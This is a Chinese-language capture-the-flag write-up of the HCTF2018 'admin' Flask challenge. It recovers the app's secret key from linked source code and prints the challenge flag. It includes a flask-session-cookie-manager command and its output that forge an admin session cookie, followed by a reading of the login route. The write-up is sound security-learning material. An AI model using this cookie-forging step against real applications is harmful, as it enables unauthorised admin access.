python审计之flask
菜鸡决定对python审计好好复习一下
HCTF2018 admin
复现
虽然是非预期解但是也很有趣,师傅写的代码也挺棒的
在修改密码的页面查看源代码发现了一个提示。(不过这个挺难发现的还是要养成多看看源码的习惯)
<div class="ui grid">
<div class="four wide column"></div>
<div class="eight wide column">
<!-- https://github.com/woadsl1234/hctf_flask/ -->
<form class="ui form segment" method="post" enctype="multipart/form-data">
<div class="field required">
<label>NewPassword</label>
<input id="newpassword" name="newpassword" required type="password" value="">
</div>
<input type="submit" class="ui button fluid" value="更换密码">
</form>
之后就可以看到flask的secret_key是ckj123
同时可以看到flag获得的条件
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{un1c0dE_cHe4t_1s_FuNnying}</h1>
{% endif %}
然后就可以伪造session了,抓包后修改session就可以了(Windows的python3跑不了用的WSL中的python3)
flask-session-cookie-manager git:(master) python3 session_cookie_manager.py encode -s 'ckj123' -t '{"name":"admin", "user_id":"1"}'
eyJuYW1lIjoiYWRtaW4iLCJ1c2VyX2lkIjoiMSJ9.XZ9J5Q.mDSLo4JaAJRZVahOGaLqKCuswD8

分析一下源码
app目录主要内容,其中code.py是用来产生验证码的,config.py是配置文件,forms.py是表单建模,models.py是一些模型,routers.py是路由
├── app
│ ├── __init__.py
│ ├── __init__.pyc
│ ├── code.py
│ ├── code.pyc
│ ├── config.py
│ ├── config.pyc
│ ├── forms.py
│ ├── forms.pyc
│ ├── models.py
│ ├── models.pyc
│ ├── routes.py
│ ├── routes.pyc
│ ├── static
│ └── templates
我们拿到flag的条件就是登陆admin用户,登陆的路由如下:
@app.route('/login', methods = ['GET', 'POST'])
def login():
# TODO: 此处current_user是什么意思?它是从flask_login中导入的
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data) #从表单中获取到name然后存入session中
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
这里涉及到了flask的用户认证可以学习一下,令人疑惑的是文档中说了这个is_authenticated方法需要自己实现,但是我并没有在源代码中找到实现了这个方法。